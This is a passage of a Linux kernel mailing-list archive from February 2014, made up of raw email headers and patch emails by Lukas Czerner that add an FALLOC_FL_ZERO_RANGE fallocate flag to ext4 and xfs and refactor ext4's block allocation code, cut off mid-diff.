(map.m_flags & EXT4_MAP_NEW)); - ext4_mark_inode_dirty(handle, inode); - if ((file->f_flags & O_SYNC) && ret >= max_blocks) - ext4_handle_sync(handle); ret2 = ext4_journal_stop(handle); if (ret2) break; @@ -4654,6 +4614,27 @@ retry: ret = 0; goto retry; } + + handle = ext4_journal_start(inode, EXT4_HT_INODE, 2); + if (IS_ERR(handle)) + goto out; + + tv = inode->i_ctime = ext4_current_time(inode); + + if (ret > 0 && new_size) { + if (new_size > i_size_read(inode)) { + i_size_write(inode, new_size); + inode->i_mtime = tv; + } + if (new_size > EXT4_I(inode)->i_disksize) + ext4_update_i_disksize(inode, new_size); + } + ext4_mark_inode_dirty(handle, inode); + if (file->f_flags & O_SYNC) + ext4_handle_sync(handle); + + ext4_journal_stop(handle); +out: mutex_unlock(&inode->i_mutex); trace_ext4_fallocate_exit(inode, offset, max_blocks, ret > 0 ? ret2 : ret); -- 1.8.3.1 From lczerner@redhat.com Tue Feb 25 13:14:59 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id EE3C77F56 for ; Tue, 25 Feb 2014 13:14:59 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id D1467304077 for ; Tue, 25 Feb 2014 11:14:59 -0800 (PST) X-ASG-Debug-ID: 1393355698-04cbb066e635a20001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id orESybZlVzOackC3 for ; Tue, 25 Feb 2014 11:14:59 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1PJEuEL008565 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 25 Feb 2014 14:14:57 -0500 Received: from localhost.localdomain.com (vpn1-4-133.ams2.redhat.com [10.36.4.133]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1PJEmuT015960; Tue, 25 Feb 2014 14:14:55 -0500 From: Lukas Czerner To: linux-ext4@vger.kernel.org Cc: tytso@mit.edu, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, Lukas Czerner Subject: [PATCH 3/6 v2] ext4: translate fallocate mode bits to strings Date: Tue, 25 Feb 2014 20:14:36 +0100 X-ASG-Orig-Subj: [PATCH 3/6 v2] ext4: translate fallocate mode bits to strings Message-Id: <1393355679-11160-4-git-send-email-lczerner@redhat.com> In-Reply-To: <1393355679-11160-1-git-send-email-lczerner@redhat.com> References: <1393355679-11160-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393355698 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Signed-off-by: Lukas Czerner --- fs/ext4/ext4.h | 1 + fs/ext4/extents.c | 1 - include/trace/events/ext4.h | 9 +++++++-- 3 files changed, 8 insertions(+), 3 deletions(-) diff --git a/fs/ext4/ext4.h b/fs/ext4/ext4.h index ece5556..3b9601c 100644 --- a/fs/ext4/ext4.h +++ b/fs/ext4/ext4.h @@ -31,6 +31,7 @@ #include #include #include +#include #ifdef __KERNEL__ #include #endif diff --git a/fs/ext4/extents.c b/fs/ext4/extents.c index 0e675bc..e5485eb 100644 --- a/fs/ext4/extents.c +++ b/fs/ext4/extents.c @@ -37,7 +37,6 @@ #include #include #include -#include #include #include #include "ext4_jbd2.h" diff --git a/include/trace/events/ext4.h b/include/trace/events/ext4.h index 197d312..451e020 100644 --- a/include/trace/events/ext4.h +++ b/include/trace/events/ext4.h @@ -68,6 +68,11 @@ struct extent_status; { EXTENT_STATUS_DELAYED, "D" }, \ { EXTENT_STATUS_HOLE, "H" }) +#define show_falloc_mode(mode) __print_flags(mode, "|", \ + { FALLOC_FL_KEEP_SIZE, "KEEP_SIZE"}, \ + { FALLOC_FL_PUNCH_HOLE, "PUNCH_HOLE"}, \ + { FALLOC_FL_NO_HIDE_STALE, "NO_HIDE_STALE"}) + TRACE_EVENT(ext4_free_inode, TP_PROTO(struct inode *inode), @@ -1349,10 +1354,10 @@ TRACE_EVENT(ext4_fallocate_enter, __entry->mode = mode; ), - TP_printk("dev %d,%d ino %lu pos %lld len %lld mode %d", + TP_printk("dev %d,%d ino %lu pos %lld len %lld mode %s", MAJOR(__entry->dev), MINOR(__entry->dev), (unsigned long) __entry->ino, __entry->pos, - __entry->len, __entry->mode) + __entry->len, show_falloc_mode(__entry->mode)) ); TRACE_EVENT(ext4_fallocate_exit, -- 1.8.3.1 From lczerner@redhat.com Tue Feb 25 13:15:00 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2B2937F57 for ; Tue, 25 Feb 2014 13:15:00 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id E37118F8071 for ; Tue, 25 Feb 2014 11:14:59 -0800 (PST) X-ASG-Debug-ID: 1393355698-04bdf05dac35690001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id RkoeLhEkMjysgd9G for ; Tue, 25 Feb 2014 11:14:58 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1PJEslE008551 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 25 Feb 2014 14:14:55 -0500 Received: from localhost.localdomain.com (vpn1-4-133.ams2.redhat.com [10.36.4.133]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1PJEmuS015960; Tue, 25 Feb 2014 14:14:52 -0500 From: Lukas Czerner To: linux-ext4@vger.kernel.org Cc: tytso@mit.edu, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, Lukas Czerner Subject: [PATCH 2/6 v2] ext4: refactor ext4_fallocate code Date: Tue, 25 Feb 2014 20:14:35 +0100 X-ASG-Orig-Subj: [PATCH 2/6 v2] ext4: refactor ext4_fallocate code Message-Id: <1393355679-11160-3-git-send-email-lczerner@redhat.com> In-Reply-To: <1393355679-11160-1-git-send-email-lczerner@redhat.com> References: <1393355679-11160-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393355698 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Move block allocation out of the ext4_fallocate into separate function called ext4_alloc_file_blocks(). This will allow us to use the same allocation code for other allocation operations such as zero range which is commit in the next patch. Signed-off-by: Lukas Czerner --- fs/ext4/extents.c | 127 +++++++++++++++++++++++++++++++----------------------- 1 file changed, 73 insertions(+), 54 deletions(-) diff --git a/fs/ext4/extents.c b/fs/ext4/extents.c index 67c7917..0e675bc 100644 --- a/fs/ext4/extents.c +++ b/fs/ext4/extents.c @@ -4513,6 +4513,64 @@ retry: ext4_std_error(inode->i_sb, err); } +static int ext4_alloc_file_blocks(struct file *file, ext4_lblk_t offset, + ext4_lblk_t len, int flags, int mode) +{ + struct inode *inode = file_inode(file); + handle_t *handle; + int ret = 0; + int ret2 = 0; + int retries = 0; + struct ext4_map_blocks map; + unsigned int credits; + + map.m_lblk = offset; + /* + * Don't normalize the request if it can fit in one extent so + * that it doesn't get unnecessarily split into multiple + * extents. + */ + if (len <= EXT_UNINIT_MAX_LEN) + flags |= EXT4_GET_BLOCKS_NO_NORMALIZE; + + /* + * credits to insert 1 extent into extent tree + */ + credits = ext4_chunk_trans_blocks(inode, len); + +retry: + while (ret >= 0 && ret < len) { + map.m_lblk = map.m_lblk + ret; + map.m_len = len = len - ret; + handle = ext4_journal_start(inode, EXT4_HT_MAP_BLOCKS, + credits); + if (IS_ERR(handle)) { + ret = PTR_ERR(handle); + break; + } + ret = ext4_map_blocks(handle, inode, &map, flags); + if (ret <= 0) { + ext4_debug("inode #%lu: block %u: len %u: " + "ext4_ext_map_blocks returned %d", + inode->i_ino, map.m_lblk, + map.m_len, ret); + ext4_mark_inode_dirty(handle, inode); + ret2 = ext4_journal_stop(handle); + break; + } + ret2 = ext4_journal_stop(handle); + if (ret2) + break; + } + if (ret == -ENOSPC && + ext4_should_retry_alloc(inode->i_sb, &retries)) { + ret = 0; + goto retry; + } + + return ret > 0 ? ret2 : ret; +} + /* * preallocate space for a file. This implements ext4's fallocate file * operation, which gets called from sys_fallocate system call. @@ -4527,12 +4585,10 @@ long ext4_fallocate(struct file *file, int mode, loff_t offset, loff_t len) loff_t new_size = 0; unsigned int max_blocks; int ret = 0; - int ret2 = 0; - int retries = 0; int flags; - struct ext4_map_blocks map; + ext4_lblk_t lblk; struct timespec tv; - unsigned int credits, blkbits = inode->i_blkbits; + unsigned int blkbits = inode->i_blkbits; /* Return error if mode is not supported */ if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) @@ -4553,17 +4609,18 @@ long ext4_fallocate(struct file *file, int mode, loff_t offset, loff_t len) return -EOPNOTSUPP; trace_ext4_fallocate_enter(inode, offset, len, mode); - map.m_lblk = offset >> blkbits; + lblk = offset >> blkbits; /* * We can't just convert len to max_blocks because * If blocksize = 4096 offset = 3072 and len = 2048 */ max_blocks = (EXT4_BLOCK_ALIGN(len + offset, blkbits) >> blkbits) - - map.m_lblk; - /* - * credits to insert 1 extent into extent tree - */ - credits = ext4_chunk_trans_blocks(inode, max_blocks); + - lblk; + + flags = EXT4_GET_BLOCKS_CREATE_UNINIT_EXT; + if (mode & FALLOC_FL_KEEP_SIZE) + flags |= EXT4_GET_BLOCKS_KEEP_SIZE; + mutex_lock(&inode->i_mutex); if (!(mode & FALLOC_FL_KEEP_SIZE) && @@ -4574,46 +4631,9 @@ long ext4_fallocate(struct file *file, int mode, loff_t offset, loff_t len) goto out; } - flags = EXT4_GET_BLOCKS_CREATE_UNINIT_EXT; - if (mode & FALLOC_FL_KEEP_SIZE) - flags |= EXT4_GET_BLOCKS_KEEP_SIZE; - /* - * Don't normalize the request if it can fit in one extent so - * that it doesn't get unnecessarily split into multiple - * extents. - */ - if (len <= EXT_UNINIT_MAX_LEN << blkbits) - flags |= EXT4_GET_BLOCKS_NO_NORMALIZE; - -retry: - while (ret >= 0 && ret < max_blocks) { - map.m_lblk = map.m_lblk + ret; - map.m_len = max_blocks = max_blocks - ret; - handle = ext4_journal_start(inode, EXT4_HT_MAP_BLOCKS, - credits); - if (IS_ERR(handle)) { - ret = PTR_ERR(handle); - break; - } - ret = ext4_map_blocks(handle, inode, &map, flags); - if (ret <= 0) { - ext4_debug("inode #%lu: block %u: len %u: " - "ext4_ext_map_blocks returned %d", - inode->i_ino, map.m_lblk, - map.m_len, ret); - ext4_mark_inode_dirty(handle, inode); - ret2 = ext4_journal_stop(handle); - break; - } - ret2 = ext4_journal_stop(handle); - if (ret2) - break; - } - if (ret == -ENOSPC && - ext4_should_retry_alloc(inode->i_sb, &retries)) { - ret = 0; - goto retry; - } + ret = ext4_alloc_file_blocks(file, lblk, max_blocks, flags, mode); + if (ret) + goto out; handle = ext4_journal_start(inode, EXT4_HT_INODE, 2); if (IS_ERR(handle)) @@ -4621,7 +4641,7 @@ retry: tv = inode->i_ctime = ext4_current_time(inode); - if (ret > 0 && new_size) { + if (!ret && new_size) { if (new_size > i_size_read(inode)) { i_size_write(inode, new_size); inode->i_mtime = tv; @@ -4636,9 +4656,8 @@ retry: ext4_journal_stop(handle); out: mutex_unlock(&inode->i_mutex); - trace_ext4_fallocate_exit(inode, offset, max_blocks, - ret > 0 ? ret2 : ret); - return ret > 0 ? ret2 : ret; + trace_ext4_fallocate_exit(inode, offset, max_blocks, ret); + return ret; } /* -- 1.8.3.1 From lczerner@redhat.com Tue Feb 25 13:15:05 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6ADE07F59 for ; Tue, 25 Feb 2014 13:15:05 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id F41B4AC001 for ; Tue, 25 Feb 2014 11:15:01 -0800 (PST) X-ASG-Debug-ID: 1393355700-04cbb066e535a20001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id GdegJbEBw0C7fwvW for ; Tue, 25 Feb 2014 11:15:00 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1PJEwI8008588 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 25 Feb 2014 14:14:58 -0500 Received: from localhost.localdomain.com (vpn1-4-133.ams2.redhat.com [10.36.4.133]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1PJEmuU015960; Tue, 25 Feb 2014 14:14:56 -0500 From: Lukas Czerner To: linux-ext4@vger.kernel.org Cc: tytso@mit.edu, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, Lukas Czerner Subject: [PATCH 4/6 v2] fs: Introduce FALLOC_FL_ZERO_RANGE flag for fallocate Date: Tue, 25 Feb 2014 20:14:37 +0100 X-ASG-Orig-Subj: [PATCH 4/6 v2] fs: Introduce FALLOC_FL_ZERO_RANGE flag for fallocate Message-Id: <1393355679-11160-5-git-send-email-lczerner@redhat.com> In-Reply-To: <1393355679-11160-1-git-send-email-lczerner@redhat.com> References: <1393355679-11160-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393355700 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Introduce new FALLOC_FL_ZERO_RANGE flag for fallocate. This has the same functionality as xfs ioctl XFS_IOC_ZERO_RANGE. It can be used to convert a range of file to zeros preferably without issuing data IO. Blocks should be preallocated for the regions that span holes in the file, and the entire range is preferable converted to unwritten extents - even though file system may choose to zero out the extent or do whatever which will result in reading zeros from the range while the range remains allocated for the file. This can be also used to preallocate blocks past EOF in the same way as with fallocate. Flag FALLOC_FL_KEEP_SIZE which should cause the inode size to remain the same. Signed-off-by: Lukas Czerner --- fs/open.c | 7 ++++++- include/uapi/linux/falloc.h | 14 ++++++++++++++ 2 files changed, 20 insertions(+), 1 deletion(-) diff --git a/fs/open.c b/fs/open.c index 4a923a5..c4465b2 100644 --- a/fs/open.c +++ b/fs/open.c @@ -232,7 +232,12 @@ int do_fallocate(struct file *file, int mode, loff_t offset, loff_t len) /* Return error if mode is not supported */ if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | - FALLOC_FL_COLLAPSE_RANGE)) + FALLOC_FL_COLLAPSE_RANGE | FALLOC_FL_ZERO_RANGE)) + return -EOPNOTSUPP; + + /* Punch hole and zero range are mutually exclusive */ + if ((mode & (FALLOC_FL_PUNCH_HOLE | FALLOC_FL_ZERO_RANGE)) == + (FALLOC_FL_PUNCH_HOLE | FALLOC_FL_ZERO_RANGE)) return -EOPNOTSUPP; /* Punch hole must have keep size set */ diff --git a/include/uapi/linux/falloc.h b/include/uapi/linux/falloc.h index 5ff562d..d1197ae 100644 --- a/include/uapi/linux/falloc.h +++ b/include/uapi/linux/falloc.h @@ -27,4 +27,18 @@ */ #define FALLOC_FL_COLLAPSE_RANGE 0x08 +/* + * FALLOC_FL_ZERO_RANGE is used to convert a range of file to zeros preferably + * without issuing data IO. Blocks should be preallocated for the regions that + * span holes in the file, and the entire range is preferable converted to + * unwritten extents - even though file system may choose to zero out the + * extent or do whatever which will result in reading zeros from the range + * while the range remains allocated for the file. + * + * This can be also used to preallocate blocks past EOF in the same way as + * with fallocate. Flag FALLOC_FL_KEEP_SIZE should cause the inode + * size to remain the same. + */ +#define FALLOC_FL_ZERO_RANGE 0x10 + #endif /* _UAPI_FALLOC_H_ */ -- 1.8.3.1 From lczerner@redhat.com Tue Feb 25 13:15:07 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 400ED7F67 for ; Tue, 25 Feb 2014 13:15:07 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id C763BAC001 for ; Tue, 25 Feb 2014 11:15:06 -0800 (PST) X-ASG-Debug-ID: 1393355705-04cb6c567832920001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 4r65W1CJlrBXKzAy for ; Tue, 25 Feb 2014 11:15:06 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1PJF2q9031928 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 25 Feb 2014 14:15:02 -0500 Received: from localhost.localdomain.com (vpn1-4-133.ams2.redhat.com [10.36.4.133]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1PJEmuW015960; Tue, 25 Feb 2014 14:15:00 -0500 From: Lukas Czerner To: linux-ext4@vger.kernel.org Cc: tytso@mit.edu, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, Lukas Czerner Subject: [PATCH 6/6 v2] xfs: Add support for FALLOC_FL_ZERO_RANGE Date: Tue, 25 Feb 2014 20:14:39 +0100 X-ASG-Orig-Subj: [PATCH 6/6 v2] xfs: Add support for FALLOC_FL_ZERO_RANGE Message-Id: <1393355679-11160-7-git-send-email-lczerner@redhat.com> In-Reply-To: <1393355679-11160-1-git-send-email-lczerner@redhat.com> References: <1393355679-11160-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393355705 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Introduce new FALLOC_FL_ZERO_RANGE flag for fallocate. This has the same functionality as xfs ioctl XFS_IOC_ZERO_RANGE. We can also preallocate blocks past EOF in the same was as with fallocate. Flag FALLOC_FL_KEEP_SIZE will cause the inode size to remain the same even if we preallocate blocks past EOF. It uses the same code to zero range as it is used by the XFS_IOC_ZERO_RANGE ioctl. Signed-off-by: Lukas Czerner Reviewed-by: Dave Chinner --- fs/xfs/xfs_file.c | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index 52f96e1..8fb97a6 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -824,7 +824,7 @@ xfs_file_fallocate( if (!S_ISREG(inode->i_mode)) return -EINVAL; if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | - FALLOC_FL_COLLAPSE_RANGE)) + FALLOC_FL_COLLAPSE_RANGE | FALLOC_FL_ZERO_RANGE)) return -EOPNOTSUPP; xfs_ilock(ip, XFS_IOLOCK_EXCL); @@ -855,8 +855,11 @@ xfs_file_fallocate( goto out_unlock; } - error = xfs_alloc_file_space(ip, offset, len, - XFS_BMAPI_PREALLOC); + if (mode & FALLOC_FL_ZERO_RANGE) + error = xfs_zero_file_space(ip, offset, len); + else + error = xfs_alloc_file_space(ip, offset, len, + XFS_BMAPI_PREALLOC); if (error) goto out_unlock; } -- 1.8.3.1 From lczerner@redhat.com Tue Feb 25 13:15:14 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 717287F56 for ; Tue, 25 Feb 2014 13:15:14 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 17DAF8F8064 for ; Tue, 25 Feb 2014 11:15:14 -0800 (PST) X-ASG-Debug-ID: 1393355712-04bdf05daa356c0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id iEuYGiCXjr4zNWGf for ; Tue, 25 Feb 2014 11:15:12 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1PJF0hx026626 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 25 Feb 2014 14:15:02 -0500 Received: from localhost.localdomain.com (vpn1-4-133.ams2.redhat.com [10.36.4.133]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1PJEmuV015960; Tue, 25 Feb 2014 14:14:58 -0500 From: Lukas Czerner To: linux-ext4@vger.kernel.org Cc: tytso@mit.edu, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, Lukas Czerner Subject: [PATCH 5/6 v2] ext4: Introduce FALLOC_FL_ZERO_RANGE flag for fallocate Date: Tue, 25 Feb 2014 20:14:38 +0100 X-ASG-Orig-Subj: [PATCH 5/6 v2] ext4: Introduce FALLOC_FL_ZERO_RANGE flag for fallocate Message-Id: <1393355679-11160-6-git-send-email-lczerner@redhat.com> In-Reply-To: <1393355679-11160-1-git-send-email-lczerner@redhat.com> References: <1393355679-11160-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393355712 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Introduce new FALLOC_FL_ZERO_RANGE flag for fallocate. This has the same functionality as xfs ioctl XFS_IOC_ZERO_RANGE. It can be used to convert a range of file to zeros preferably without issuing data IO. Blocks should be preallocated for the regions that span holes in the file, and the entire range is preferable converted to unwritten extents This can be also used to preallocate blocks past EOF in the same way as with fallocate. Flag FALLOC_FL_KEEP_SIZE which should cause the inode size to remain the same. Also add appropriate tracepoints. Signed-off-by: Lukas Czerner --- fs/ext4/ext4.h | 2 + fs/ext4/extents.c | 270 +++++++++++++++++++++++++++++++++++++++++--- fs/ext4/inode.c | 17 ++- include/trace/events/ext4.h | 64 +++++------ 4 files changed, 300 insertions(+), 53 deletions(-) diff --git a/fs/ext4/ext4.h b/fs/ext4/ext4.h index 3b9601c..a649abe 100644 --- a/fs/ext4/ext4.h +++ b/fs/ext4/ext4.h @@ -568,6 +568,8 @@ enum { #define EXT4_GET_BLOCKS_NO_LOCK 0x0100 /* Do not put hole in extent cache */ #define EXT4_GET_BLOCKS_NO_PUT_HOLE 0x0200 + /* Convert written extents to unwritten */ +#define EXT4_GET_BLOCKS_CONVERT_UNWRITTEN 0x0400 /* * The bit position of these flags must not overlap with any of the diff --git a/fs/ext4/extents.c b/fs/ext4/extents.c index e5485eb..017b4fb 100644 --- a/fs/ext4/extents.c +++ b/fs/ext4/extents.c @@ -3568,6 +3568,8 @@ out: * b> Splits in two extents: Write is happening at either end of the extent * c> Splits in three extents: Somone is writing in middle of the extent * + * This works the same way in the case of initialized -> unwritten conversion. + * * One of more index blocks maybe needed if the extent tree grow after * the uninitialized extent split. To prevent ENOSPC occur at the IO * complete, we need to split the uninitialized extent before DIO submit @@ -3578,7 +3580,7 @@ out: * * Returns the size of uninitialized extent to be written on success. */ -static int ext4_split_unwritten_extents(handle_t *handle, +static int ext4_split_convert_extents(handle_t *handle, struct inode *inode, struct ext4_map_blocks *map, struct ext4_ext_path *path, @@ -3590,9 +3592,9 @@ static int ext4_split_unwritten_extents(handle_t *handle, unsigned int ee_len; int split_flag = 0, depth; - ext_debug("ext4_split_unwritten_extents: inode %lu, logical" - "block %llu, max_blocks %u\n", inode->i_ino, - (unsigned long long)map->m_lblk, map->m_len); + ext_debug("%s: inode %lu, logical block %llu, max_blocks %u\n", + __func__, inode->i_ino, + (unsigned long long)map->m_lblk, map->m_len); eof_block = (inode->i_size + inode->i_sb->s_blocksize - 1) >> inode->i_sb->s_blocksize_bits; @@ -3607,14 +3609,73 @@ static int ext4_split_unwritten_extents(handle_t *handle, ee_block = le32_to_cpu(ex->ee_block); ee_len = ext4_ext_get_actual_len(ex); - split_flag |= ee_block + ee_len <= eof_block ? EXT4_EXT_MAY_ZEROOUT : 0; - split_flag |= EXT4_EXT_MARK_UNINIT2; - if (flags & EXT4_GET_BLOCKS_CONVERT) - split_flag |= EXT4_EXT_DATA_VALID2; + /* Convert to unwritten */ + if (flags | EXT4_GET_BLOCKS_CONVERT_UNWRITTEN) { + split_flag |= EXT4_EXT_DATA_VALID1; + /* Convert to initialized */ + } else if (flags | EXT4_GET_BLOCKS_CONVERT) { + split_flag |= ee_block + ee_len <= eof_block ? + EXT4_EXT_MAY_ZEROOUT : 0; + split_flag |= (EXT4_EXT_MARK_UNINIT2 & EXT4_EXT_DATA_VALID2); + } flags |= EXT4_GET_BLOCKS_PRE_IO; return ext4_split_extent(handle, inode, path, map, split_flag, flags); } +static int ext4_convert_initialized_extents(handle_t *handle, + struct inode *inode, + struct ext4_map_blocks *map, + struct ext4_ext_path *path) +{ + struct ext4_extent *ex; + ext4_lblk_t ee_block; + unsigned int ee_len; + int depth; + int err = 0; + + depth = ext_depth(inode); + ex = path[depth].p_ext; + ee_block = le32_to_cpu(ex->ee_block); + ee_len = ext4_ext_get_actual_len(ex); + + ext_debug("%s: inode %lu, logical" + "block %llu, max_blocks %u\n", __func__, inode->i_ino, + (unsigned long long)ee_block, ee_len); + + if (ee_block != map->m_lblk || ee_len > map->m_len) { + err = ext4_split_convert_extents(handle, inode, map, path, + EXT4_GET_BLOCKS_CONVERT_UNWRITTEN); + if (err < 0) + goto out; + ext4_ext_drop_refs(path); + path = ext4_ext_find_extent(inode, map->m_lblk, path, 0); + if (IS_ERR(path)) { + err = PTR_ERR(path); + goto out; + } + depth = ext_depth(inode); + ex = path[depth].p_ext; + } + + err = ext4_ext_get_access(handle, inode, path + depth); + if (err) + goto out; + /* first mark the extent as uninitialized */ + ext4_ext_mark_uninitialized(ex); + + /* note: ext4_ext_correct_indexes() isn't needed here because + * borders are not changed + */ + ext4_ext_try_to_merge(handle, inode, path, ex); + + /* Mark modified extent as dirty */ + err = ext4_ext_dirty(handle, inode, path + path->p_depth); +out: + ext4_ext_show_leaf(inode, path); + return err; +} + + static int ext4_convert_unwritten_extents_endio(handle_t *handle, struct inode *inode, struct ext4_map_blocks *map, @@ -3648,8 +3709,8 @@ static int ext4_convert_unwritten_extents_endio(handle_t *handle, inode->i_ino, (unsigned long long)ee_block, 